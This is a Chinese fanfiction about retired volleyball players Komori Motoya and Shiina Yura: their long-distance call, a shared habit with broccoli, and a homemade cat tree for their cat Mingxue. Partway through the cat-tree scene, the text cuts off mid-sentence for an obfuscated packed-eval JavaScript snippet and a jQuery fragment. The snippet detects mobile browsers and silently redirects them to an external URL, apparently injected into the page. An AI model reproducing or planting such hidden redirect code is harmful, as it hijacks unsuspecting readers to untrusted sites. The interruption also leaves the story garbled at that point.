夜，深得沉静。窗外霓虹在远处模糊成一片迷离的光雾。
古森元也陷在酒店柔软的沙发里，手机屏幕的光亮映在他眼底，带着点不易察觉的疲惫，却又被一种更柔软的情绪点亮。
屏幕那头，是椎名由良。背景是家中卧室，暖黄色的灯光照着，氛围温馨。
椎名由良穿着宽松的灰色家居服，腿上蜷着一团雪白的毛球——波斯猫琥珀色的眼睛半眯着，享受着主人修长手指有一下没一下的梳理。
“赢了？”椎名由良的声音透过电波传来，平淡却熨帖。
古森元也脸上绽开灿烂的笑容，长途跋涉和激烈赛后的倦意仿佛瞬间被驱散了。
“当然！我这自由人可不是白当的！”古森元也习惯性地挺直了点腰背，语气里是熟悉的、带着点小骄傲的活力。
“你看到了吗，最后那个救球，都以为球要落地了，硬是被我捞了起来！队友冲过来抱我，那力道，差点没把我勒断气！”古森元也夸张地比划着肩膀被箍紧的动作。
椎名由良静静听着，目光落在屏幕上那个神采飞扬的人脸上。名雪似乎被古森元也突然提高的音量惊扰，不满地“喵”了一声，在椎名由良腿上调整了一下姿势，把毛茸茸的脑袋更深地埋进主人的臂弯。椎名由良安抚地顺了顺它的背脊。
“嗯，看到了。”椎名由良说。古森元也的比赛，他一场没落。哪怕隔着时差，哪怕刚结束自己的高强度训练。
古森元也的笑容更大了，像只被顺了毛的狗狗。“就知道你会看！对了对了。”他忽然想起什么，语气带上一丝孩子气的抱怨，“这边的饭菜简直是一场灾难，寡淡得要命！我好想念我们公寓楼下那家餐馆啊。”
“还有，没有我帮你，有好好吃掉花椰菜吗？”古森元也道。
问这话时，他脑海中清晰地浮现出椎名由良拨弄花椰菜的动作——从青训营的食堂，一路延续到国家队餐厅，最终定格在他们共同公寓的餐桌上，早已成为两人间无需言说的默契符号。
他清晰地记得，成为国家队一员不久后的一天，训练结束的餐厅里。他端着餐盘，目光习惯性地在人群中搜寻那个清瘦的身影。
椎名果然坐在角落，面前的食物摆放得一丝不苟，唯独那几颗翠绿的花椰菜，被精准地隔离在餐盘一角，像被嫌弃。
他笑着走过去，自然地拉开椎名旁边的椅子坐下，语气熟稔而亲昵，“又给它们画隔离区了？”
椎名抬眼看他，没说话，只是极其自然地将餐盘朝他的方向推了半寸。一个无声的许可。
古森元也心头一热，像被温水漫过。他伸出筷子，带着点珍重又理所当然的心情，夹起那几颗被嫌弃的花椰菜，放进自己碗里。“谢啦！今天体能消耗大，正好补点纤维。”
他嚼着，只觉得这寡淡的蔬菜仿佛也沾染了椎名的气息，变得格外可口起来。
周围的队友早已见怪不怪。不知从什么时候起，这个“帮椎名解决花椰菜”的动作，成了古森元也的特权。这特权无声地昭示着两人之间那份旁人难以企及的亲密。
如今隔着屏幕，聊了许久，古森元也才依依不舍地挂断。
……
时间无声流淌。名雪这只曾经轻盈灵巧的白色精灵，奔跑跳跃的姿态渐渐被沉稳的踱步和长时间的慵懒打盹取代。它的活动范围更多地局限在洒满阳光的地毯和舒适的猫窝中。
当古森元也和椎名由良最终决定从聚光灯下的赛场退居幕后时，生活并没有归于沉寂。
古森元也的“元也排球教室”在社区里办得风生水起。他仿佛天生就带着吸引孩子的魔力。那标志性的爽朗笑声、夸张的肢体动作和永不枯竭的热情，让体育馆里总是充满快活的空气、稚嫩的呐喊和球体撞击地板的砰砰声。
他耐心地纠正着孩子们的动作，示范着接球的技巧，眼神里是传承的火光，一如当年他在球场上守护队友时那般专注明亮。
而椎名由良凭借其冷静的头脑、精准的判断力和对赛场全局的独特洞察力，受邀成为国家青年队的教练。
他工作时安静而高效，屏幕上分割着比赛录像和复杂的战术跑位分析。他用数据剖析着赛场的瞬息万变，为新一代的选手提供强大的支持。
某个春末夏初的周末清晨。阳光穿过客厅落地窗，洒下大片温暖的光斑。
古森元也哼着不成调的歌，正把客厅一角重新布置。他搬出了鼓捣好几天的杰作——一个用结实木材和麻绳缠裹立柱组合而成的多层猫爬架，最顶端还固定着一个毛茸茸的、形似排球的软垫。
古森元也抹了把额头上亮晶晶的汗珠，脸上洋溢着完成大工程的得意，“搞定！名雪陛下，请移驾验收您的新行宫！”
椎名由良刚从工作间出来，手里拿着一个平板，似乎还在思考着什么数据。他走到客厅，目光落在那座结构略显粗犷却透着满满用心的猫爬架上。阳光落在他浅色的发梢，也落进他眼里，映出眼底一丝极淡的笑意。
他放下平板，走到爬架前，伸出手指，认真地推了推一根立柱，测试稳固性。
名雪被这边的动静吸引，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779678|174785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢悠悠地从阳光地毯上踱步过来，仰起毛茸茸的脑袋，琥珀色的眼睛好奇地打量着这个庞然大物。
“嗯，很稳。”椎名由良下了结论。
古森元也立刻像得了满分的学生，笑容灿烂地弯腰，小心地将名雪抱了起来，轻轻放到爬架最底层的平台上。“来，名雪，试试看爸爸亲手给你造的城堡。”
名雪起初有些矜持，带着谨慎，在平台上走了两步，肉垫试探地踩了踩缠绕着麻绳的柱子。接着，它似乎被那粗糙的质感吸引了，天性被唤醒，开始伸出爪子，有一下没一下地抓挠起来。很快，它便顺着柱子向上攀爬，最终稳稳地占据顶端的那个“排球”软垫，发出一声慵懒又满意的“喵呜”。
古森元也仰头看着自家猫在新领地上玩得开心，成就感爆棚。他笑着，习惯性地伸出手，想拉住旁边椎名由良的手，指尖触碰到椎名由良的手背，却微微一滞。
椎名由良的手因为在凉爽的工作间待久了，带着明显的凉意。
古森元也想也没想，立刻双手合拢，将椎名由良微凉的手紧紧包裹在自己温暖厚实的掌心里。他低下头，对着那修长冰凉的手指轻轻呵着热气，又用掌心用力地搓揉着。“怎么这么凉？让你把工作间的空调调高点又不听。”语气是嗔怪的，动作却温柔得不像话。
温热的暖流从相贴的皮肤迅速蔓延开。椎名由良没有挣脱，任由自己的手被那双熟悉、温暖、带着常年打球薄茧的手紧紧包裹着。
他微微侧过头，目光落在古森元也的脸上，最终落在古森元也无名指上那枚设计简约的铂金素圈戒指上。浅蓝色的眼眸里，仿佛蕴藏着千言万语。
椎名由良开口，声音在清晨的宁静中显得格外清晰，“下午，排球教室，我去看看。”
“好啊！”古森元也响亮地应道，声音里是几乎要溢出来的、满满的欢喜。他忍不住腾出一只手，飞快地揉了揉椎名由良柔软的发顶。
椎名由良没有躲闪，只是极轻微地蹙了下眉峰，算是抗议。
古森元也反而笑得更开心了。他再次握紧椎名由良的手，十指自然地交扣，掌心紧贴，将最后一点凉意彻底驱散。
他仰头看向爬架顶端。名雪在它的“排球王座”上换了个更舒服的姿势，把自己彻底摊成一张雪白的毛毯，尾巴尖儿惬意地轻轻摇晃。
阳光将三个身影——爽朗的、沉静的、还有那团毛茸茸——温柔地笼罩在一起。
楼下隐约传来孩子们奔向“元也排球教室”的嬉笑声，远处公寓楼宇间，新的一天正生机勃勃地展开。